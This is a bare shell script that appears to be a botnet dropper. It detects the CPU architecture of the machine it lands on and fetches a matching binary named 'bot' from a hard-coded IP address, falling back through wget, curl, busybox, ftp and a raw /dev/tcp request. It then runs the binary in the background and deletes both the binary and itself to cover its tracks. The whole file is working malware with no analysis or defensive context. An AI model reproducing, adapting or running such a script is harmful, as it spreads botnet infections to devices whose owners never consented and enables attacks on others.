#!/bin/sh
cd /tmp 2>/dev/null || cd /var/run 2>/dev/null || cd /mnt 2>/dev/null || cd /root 2>/dev/null || cd / 2>/dev/null || true

ARCH=""
if command -v uname >/dev/null 2>&1; then
    ARCH=$(uname -m 2>/dev/null)
elif [ -f /proc/cpuinfo ]; then
    ARCH=$(grep -i "machine\|processor\|model name" /proc/cpuinfo 2>/dev/null | head -1 | tr '[:upper:]' '[:lower:]' | sed 's/.*\(mips\|arm\|x86\|powerpc\|sh4\|m68k\|aarch64\).*/\1/' 2>/dev/null)
fi

if [ -z "$ARCH" ]; then
    ARCH="unknown"
fi

case $ARCH in
    *mips*|*mipsl*) BIN="mips" ;;
    *mipsel*|*mipsell*) BIN="mipsel" ;;
    *sh4*|*sh4l*) BIN="sh4" ;;
    *x86_64*|*x86_64l*|*amd64*) BIN="x86_64" ;;
    *i686*|*i686l*|*i386*|*i386l*) BIN="i686" ;;
    *powerpc*|*powerpcl*|*ppc*) BIN="powerpc" ;;
    *m68k*|*m68kl*) BIN="m68k" ;;
    *armv6l*|*armv6ll*|*armv6*) BIN="armv6" ;;
    *armv7l*|*armv7ll*|*armv7*) BIN="armv7l" ;;
    *arm*|*arml*) BIN="arm" ;;
    *aarch64*|*aarch64l*|*arm64*) BIN="aarch64" ;;
    *) BIN="x86_64" ;;
esac

DL_CMD=""
DL_URL="http://91.92.243.209/$BIN"

if command -v wget >/dev/null 2>&1; then
    DL_CMD="wget -q -O bot"
elif command -v curl >/dev/null 2>&1; then
    DL_CMD="curl -s -o bot"
elif command -v busybox >/dev/null 2>&1 && busybox wget >/dev/null 2>&1; then
    DL_CMD="busybox wget -q -O bot"
elif command -v ftp >/dev/null 2>&1; then
    DL_CMD="ftp -o bot"
elif [ -c /dev/tcp ] 2>/dev/null; then
    (exec 3<>/dev/tcp/91.92.243.209/80 && echo -e "GET /$BIN HTTP/1.0\r\nHost: 91.92.243.209\r\n\r\n" >&3 && cat <&3 | sed '1,/^\r$/d' > bot) 2>/dev/null
    DL_CMD="true"
fi

if [ -n "$DL_CMD" ] && [ "$DL_CMD" != "true" ]; then
    $DL_CMD "$DL_URL" 2>/dev/null
fi

if [ -f bot ] && [ -s bot ]; then
    chmod +x bot 2>/dev/null || true

    if command -v nohup >/dev/null 2>&1; then
        nohup ./bot >/dev/null 2>&1 </dev/null &
        BOT_PID=$!
    elif command -v setsid >/dev/null 2>&1; then
        setsid ./bot >/dev/null 2>&1 </dev/null &
        BOT_PID=$!
    else
        ./bot >/dev/null 2>&1 </dev/null &
        BOT_PID=$!
    fi

    sleep 10 2>/dev/null || sleep 10

    if [ -n "$BOT_PID" ] && command -v kill >/dev/null 2>&1; then
        if kill -0 "$BOT_PID" 2>/dev/null; then
            rm -f bot 2>/dev/null || true
        else
            sleep 5 2>/dev/null || sleep 5
            rm -f bot 2>/dev/null || true
        fi
    else
        sleep 5 2>/dev/null || sleep 5
        rm -f bot 2>/dev/null || true
    fi
fi

sleep 1 2>/dev/null || sleep 1
rm -f "$0" 2>/dev/null || true
